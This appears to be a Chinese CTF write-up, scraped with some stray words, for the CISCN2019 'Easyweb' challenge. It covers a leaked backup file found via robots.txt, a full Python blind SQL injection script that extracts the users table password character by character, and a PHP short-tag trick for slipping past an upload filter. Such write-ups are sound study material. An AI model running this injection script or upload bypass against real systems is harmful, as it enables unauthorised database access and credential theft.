刷題記錄:[CISCN2019 總決賽 Day2 Web1]Easyweb

[TOC]php

刷題記錄:[CISCN2019 總決賽 Day2 Web1]Easyweb

題目復現連接:https://buuoj.cn/challenges 參考連接:BUUCTF的wp(隨時棄坑) node

1、涉及知識點

一、敏感文件泄露

訪問robots.txt能夠獲得image.php.bakgit

二、繞過及sql注入

貼上腳本github

import requests

url = r'http://6873d13e-5f19-42e4-bb8f-dec6d9acdeb3.node1.buuoj.cn/image.php'
result = ''

for x in range(0, 100):
    high = 127
    low = 32
    mid = (low + high) // 2
    while high > low:
        payload = " or id=if(ascii(substr((select password from users limit 1 offset 0),%d,1))>%d,1,0)#" % (x, mid)
        params = {
			'id':'\\\\0',
			'path':payload
		}
        response = requests.get(url, params=params)
        if b'JFIF' in response.content:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2

    result += chr(int(mid))
    print(result)

三、文件上傳:短標籤繞過php過濾

PHP開啓短標籤即short_open_tag=on時,能夠使用<?=$_?>輸出變量web

相關文章
相關標籤/搜索